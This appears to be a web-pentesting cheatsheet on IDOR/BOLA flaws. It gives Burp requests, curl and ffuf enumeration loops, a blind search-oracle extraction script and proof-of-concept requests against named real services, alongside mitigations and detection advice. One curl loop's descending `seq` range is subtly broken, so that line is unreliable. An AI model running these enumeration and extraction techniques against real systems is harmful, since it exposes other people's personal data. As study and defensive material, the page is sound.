daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

idor.md (13839B)


      1 ---
      2 title: "IDOR (Insecure Direct Object Reference)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/idor.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/idor.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # IDOR (Insecure Direct Object Reference)
     14 
     15 IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appears when a web or API endpoint discloses or accepts a user–controllable identifier that is used **directly** to access an internal object **without verifying that the caller is authorized** to access/modify that object.  
     16 Successful exploitation normally allows horizontal or vertical privilege-escalation such as reading or modifying other users’ data and, in the worst case, full account takeover or mass-data exfiltration.
     17 
     18 ---
     19 ## 1. Identifying Potential IDORs
     20 
     21 1. Look for **parameters that reference an object**:
     22    * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`  
     23    * Query: `?id=42`, `?invoice=2024-00001`  
     24    * Body / JSON: `{"user_id": 321, "order_id": 987}`  
     25    * Headers / Cookies: `X-Client-ID: 4711`
     26 2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`).
     27 3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists.
     28 4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs.
     29 5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.<sup>[[3]](#references)</sup>
     30 
     31 ### Quick manual tampering (Burp Repeater)
     32 ```text
     33 PUT /api/lead/cem-xhr HTTP/1.1
     34 Host: www.example.com
     35 Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
     36 Content-Type: application/json
     37 
     38 {"lead_id":64185741}
     39 ```
     40 
     41 ### Automated enumeration (Burp Intruder / curl loop)
     42 ```bash
     43 for id in $(seq 64185742 64185700); do
     44   curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
     45        -H 'Content-Type: application/json' \
     46        -H "Cookie: auth=$TOKEN" \
     47        -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
     48 done
     49 ```
     50 
     51 ### Enumerating predictable download IDs (ffuf)
     52 Authenticated file-hosting panels often store per-user metadata in a single `files` table and expose a download endpoint such as `/download.php?id=<int>`. If the handler only checks whether the ID exists (and not whether it belongs to the authenticated user), you can sweep the integer space with your valid session cookie and steal other tenants' backups/configs:<sup>[[5]](#references)</sup>
     53 
     54 ```bash
     55 ffuf -u http://file.era.htb/download.php?id=FUZZ \
     56   -H "Cookie: PHPSESSID=<session>" \
     57   -w <(seq 0 6000) \
     58   -fr 'File Not Found' \
     59   -o hits.json
     60 jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
     61 ```
     62 
     63 * `-fr` removes 404-style templates so only true hits remain (e.g., IDs 54/150 leaking full site backups and signing material).
     64 * The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs.
     65 
     66 ---
     67 
     68 ### Authenticated combinatorial enumeration (ffuf + jq)
     69 
     70 Some IDORs accept **multiple object IDs** (e.g., chat threads between two users). If the app only checks that you're logged in, you can fuzz both IDs while keeping your session cookie:<sup>[[6]](#references)</sup>
     71 
     72 ```bash
     73 ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
     74   -w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
     75   -H 'Cookie: PHPSESSID=<session>' \
     76   -ac -o chats.json -of json
     77 ```
     78 
     79 Then, post-process the JSON output with `jq` to remove symmetric duplicates (A,B) vs (B,A) and keep only unique pairs:
     80 
     81 ```bash
     82 jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
     83 ```
     84 
     85 ---
     86 
     87 ### Error-response oracle for user/file enumeration
     88 
     89 When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=<u>&file=<f>`), subtle differences in error messages often create an oracle:<sup>[[4]](#references)</sup>
     90 
     91 - Non-existent username → "User not found"
     92 - Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
     93 - Bad extension → validation error
     94 
     95 With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the "user not found" string to discover valid users:
     96 
     97 ```bash
     98 ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
     99   -b 'PHPSESSID=<session-cookie>' \
    100   -w /opt/SecLists/Usernames/Names/names.txt \
    101   -fr 'User not found'
    102 ```
    103 
    104 Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage.
    105 
    106 ---
    107 
    108 ### Search-index authorization bypass and blind substring oracle
    109 
    110 Search, autocomplete, filtering, and analytics are often backed by a secondary index. If an application removes a restricted field only while rendering or serializing a result, but still lets that field participate in search evaluation, a low-privileged user can infer its contents. Constrain the query to one object the user can access so that the object's presence becomes a membership test for attacker-controlled text in any of its indexed fields.<sup>[[8]](#references)</sup>
    111 
    112 A practical test is to compare an administrator with a deliberately restricted account, select an object whose hidden field is known from the administrator session, and combine a candidate term with the narrowest available tenant/workspace and object filters. For example, a Lucene-style endpoint might accept a query shaped like this:<sup>[[8]](#references)</sup>
    113 
    114 ```http
    115 GET /api/search?query={candidate}%20AND%20((workspaceId=1%20AND%20ITEM_DETAILS:ITEM_ID=23)) HTTP/2
    116 Cookie: session={low_privilege_session}
    117 ```
    118 
    119 Calibrate the oracle with known-positive and known-negative terms. A scoped item in a `200` response versus no item in a `204` response is a particularly clean signal, but result counts, body length, errors, or stable timing differences can provide the same Boolean primitive. Keep the object filter fixed: otherwise unrelated documents can produce false positives.<sup>[[8]](#references)</sup>
    120 
    121 #### Bidirectional extraction
    122 
    123 A substring oracle does **not** identify position zero: every character occurring anywhere in the hidden value tests positive. Start from a distinctive matching marker (for example `@` for an email or `://` for a URL), prepend each character from the expected alphabet until no extension matches, then append characters until reaching the other boundary. The core state transition can be represented as follows:<sup>[[8]](#references)</sup>
    124 
    125 ```python
    126 def extend(seed, left):
    127     while True:
    128         hits = []
    129         for char in alphabet:
    130             trial = char + seed if left else seed + char
    131             if oracle(trial):
    132                 hits.append(trial)
    133         if not hits:
    134             return seed
    135         if len(hits) > 1:
    136             return backtrack(hits, left)
    137         seed = hits[0]
    138 
    139 value = extend(extend(seed, left=True), left=False)
    140 ```
    141 
    142 Do not blindly keep the first successful extension. Multiple hidden fields, repeated substrings, or several values containing the seed can create multiple valid branches; retain them and backtrack or validate candidates using additional contextual markers. Also derive the alphabet from the data type and test how the search analyzer handles case, punctuation, token boundaries, escaping, wildcards, and reserved query characters.<sup>[[8]](#references)</sup>
    143 
    144 The fix is to apply **object- and field-level authorization before query evaluation**: build permission-aware index documents or restrict the queried fields to those visible to the principal, validate tenant/object filters, and rebuild indexes after removing sensitive fields. For detection, alert on a fixed object filter accompanied by many overlapping one-character query extensions and rate-limit that pattern; normalizing `200`/`204` responses only obscures the signal and does not repair the authorization failure.<sup>[[8]](#references)</sup>
    145 
    146 ---
    147 ## 2. Real-World Case Study – McHire Chatbot Platform (2025)
    148 
    149 During an assessment of the Paradox.ai-powered **McHire** recruitment portal the following IDOR was discovered:
    150 
    151 * Endpoint: `PUT /api/lead/cem-xhr`
    152 * Authorization: user session cookie for **any** restaurant test account
    153 * Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier
    154 
    155 By decreasing `lead_id` the tester retrieved arbitrary applicants’ **full PII** (name, e-mail, phone, address, shift preferences) plus a consumer **JWT** that allowed session hijacking. Enumeration of the range `1 – 64,185,742` exposed roughly **64 million** records.<sup>[[1]](#references)</sup>
    156 
    157 Proof-of-Concept request:
    158 ```bash
    159 curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
    160      -H 'Content-Type: application/json' \
    161      -d '{"lead_id":64185741}'
    162 ```
    163 
    164 Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.<sup>[[1]](#references)</sup>
    165 
    166 ### Case Study – Wristband QR codes as weak bearer tokens (2025–2026)
    167 
    168 *Flow:* Exhibition visitors received QR-coded wristbands; scanning `https://homeofcarlsberg.com/memories/` let the browser take the **printed wristband ID**, hex-encode it, and call a `cloudfunctions.net` backend to fetch stored media (photos/videos + names). There was **no session binding** or user authentication—**knowledge of the ID = authorization**.<sup>[[7]](#references)</sup>
    169 
    170 *Predictability:* Wristband IDs followed a short pattern such as `C-285-100` → ASCII hex `432d3238352d313030` (`43 2d 32 38 35 2d 31 30 30`). The space was estimated at ~26M combinations, trivial to exhaust online.
    171 
    172 *Exploitation workflow with Burp Intruder:*
    173 1. **Payload generation:** Build candidate IDs (e.g., `[A-Z]-###-###`). Use a Burp Intruder **Pitchfork** or **Cluster Bomb** attack with positions for the letter and digits. Add a **payload processing rule → Add prefix/suffix → payload encoding: ASCII hex** so each request transmits the hex string expected by the backend.
    174 2. **Response grep:** Mark Intruder **grep-match** for markers present only in valid responses (e.g., media URLs/JSON fields). Invalid IDs typically returned an empty array/404.
    175 3. **Throughput measurement:** ~1,000,000 IDs were tested in ~2 hours from a laptop (~139 req/s). At that rate the full keyspace (~26M) would fall in ~52 hours. The sample run already exposed ~500 valid wristbands (videos + full names).
    176 4. **Rate-limiting verification:** After the vendor claimed throttling, rerun the same Intruder config. Identical throughput/hit-rate proved the control was absent/ineffective; enumeration continued unhindered.
    177 
    178 Quick scriptable variant (client-side hex encoding):
    179 ```python
    180 import requests
    181 
    182 def to_hex(s):
    183     return ''.join(f"{ord(c):02x}" for c in s)
    184 
    185 for band_id in ["C-285-100", "T-544-492"]:
    186     hex_id = to_hex(band_id)
    187     r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
    188     if r.ok and "media" in r.text:
    189         print(band_id, "->", r.json())
    190 ```
    191 
    192 > **Lesson:** Encoding (ASCII→hex/Base64) does **not** add entropy; short IDs become **bearer tokens** that are enumerable despite cosmetic encoding. Without per-user authorization + high-entropy secrets, media/PII can be bulk-harvested even if “rate limiting” is claimed.
    193 
    194 ---
    195 ## 3. Impact of IDOR / BOLA
    196 * Horizontal escalation – read/update/delete **other users’** data.
    197 * Vertical escalation – low privileged user gains admin-only functionality.
    198 * Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
    199 * Account takeover by stealing tokens or resetting passwords of other users.<sup>[[2]](#references)</sup>
    200 
    201 ---
    202 ## 4. Mitigations & Best Practices
    203 1. **Enforce object-level authorization** on every request (`user_id == session.user`).  
    204 2. Prefer **indirect, unguessable identifiers** (UUIDv4, ULID) instead of auto-increment IDs.
    205 3. Perform authorization **server-side**, never rely on hidden form fields or UI controls.
    206 4. Implement **RBAC / ABAC** checks in a central middleware.
    207 5. Add **rate-limiting & logging** to detect enumeration of IDs.
    208 6. Security test every new endpoint (unit, integration, and DAST).<sup>[[2]](#references)</sup>
    209 
    210 ---
    211 ## 5. Tooling
    212 * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.  
    213 * **OWASP ZAP**: Auth Matrix, Forced Browse.  
    214 * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
    215 
    216 
    217 ## References
    218 
    219 - [1] [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
    220 - [2] [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
    221 - [3] [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
    222 - [4] [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
    223 - [5] [0xdf – HTB Era: predictable download IDs → backups and signing keys](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
    224 - [6] [0xdf – HTB: Guardian](https://0xdf.gitlab.io/2026/02/28/htb-guardian.html)
    225 - [7] [Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)](https://www.pentestpartners.com/security-blog/carlsberg-probably-not-the-best-cybersecurity-in-the-world/)
    226 - [8] [Blind Oracle: Extracting Restricted Data Through a Search API](https://kymu.dev/article/BlindOracle)